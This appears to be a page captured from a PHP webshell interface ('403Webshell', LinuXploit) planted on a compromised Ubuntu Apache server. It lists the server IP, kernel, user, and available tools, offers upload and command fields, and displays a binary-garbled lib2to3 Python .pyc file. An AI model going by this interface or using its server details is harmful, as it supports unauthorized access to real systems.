403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/lib2to3/fixes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyc
ó
—|_c@smdZddlmZddlmZmZmZmZmZm	Z	dZ
dZdejfd„ƒYZ
dS(	sÜAdjust some old Python 2 idioms to their modern counterparts.

* Change some type comparisons to isinstance() calls:
    type(x) == T -> isinstance(x, T)
    type(x) is T -> isinstance(x, T)
    type(x) != T -> not isinstance(x, T)
    type(x) is not T -> not isinstance(x, T)

* Change "while 1:" into "while True:".

* Change both

    v = list(EXPR)
    v.sort()
    foo(v)

and the more general

    v = EXPR
    v.sort()
    foo(v)

into

    v = sorted(EXPR)
    foo(v)
i(t
fixer_base(tCalltCommatNametNodet	BlankLinetsymss0(n='!=' | '==' | 'is' | n=comp_op< 'is' 'not' >)s(power< 'type' trailer< '(' x=any ')' > >t	FixIdiomscBsQeZeZdeeeefZd„Zd„Zd„Z	d„Z
d„ZRS(sş
        isinstance=comparison< %s %s T=any >
        |
        isinstance=comparison< T=any %s %s >
        |
        while_stmt< 'while' while='1' ':' any+ >
        |
        sorted=any<
            any*
            simple_stmt<
              expr_stmt< id1=any '='
                         power< list='list' trailer< '(' (not arglist<any+>) any ')' > >
              >
              '\n'
            >
            sort=
            simple_stmt<
              power< id2=any
                     trailer< '.' 'sort' > trailer< '(' ')' >
              >
              '\n'
            >
            next=any*
        >
        |
        sorted=any<
            any*
            simple_stmt< expr_stmt< id1=any '=' expr=any > '\n' >
            sort=
            simple_stmt<
              power< id2=any
                     trailer< '.' 'sort' > trailer< '(' ')' >
              >
              '\n'
            >
            next=any*
        >
    cCsJtt|ƒj|ƒ}|rFd|krF|d|dkrB|SdS|S(Ntsortedtid1tid2(tsuperRtmatchtNone(tselftnodetr((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyROscCsdd|kr|j||ƒSd|kr8|j||ƒSd|krT|j||ƒStdƒ‚dS(Nt
isinstancetwhileRs
Invalid match(ttransform_isinstancettransform_whilettransform_sorttRuntimeError(RRtresults((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyt	transformZscCs™|djƒ}|djƒ}d|_d|_ttdƒ|tƒ|gƒ}d|kr‰d|_ttjtdƒ|gƒ}n|j|_|S(NtxtTuu u
isinstancetnunot(tclonetprefixRRRRRtnot_test(RRRRRttest((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyRds		!	!cCs*|d}|jtdd|jƒƒdS(NRuTrueR(treplaceRR(RRRtone((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyRps
cCsv|d}|d}|jdƒ}|jdƒ}|rW|jtdd|jƒƒnR|r|jƒ}d|_|jttdƒ|gd|jƒƒntdƒ‚|jƒ|j}d	|krr|r|jd	ƒd
|d
jf}	d	j	|	ƒ|d
_qr|j
st‚|jdks+t‚tƒ}
|j
j|
ƒ|j|
ksYt‚|jd	ƒd
|
_ndS(NtsorttnexttlisttexprusortedRusshould not have reached hereu
i(tgetR RRRRRtremovet
rpartitiontjointparenttAssertionErrortnext_siblingR
Rtappend_child(RRRt	sort_stmtt	next_stmtt	list_calltsimple_exprtnewtbtwntprefix_linestend_line((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyRts0

	
	 	(t__name__t
__module__tTruetexplicittTYPEtCMPtPATTERNRRRRR(((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyR%s'		
		N(t__doc__tRt
fixer_utilRRRRRRR;R:tBaseFixR(((s./usr/lib/python2.7/lib2to3/fixes/fix_idioms.pyt<module>s
.

Youez - 2016 - github.com/yon3zu
LinuXploit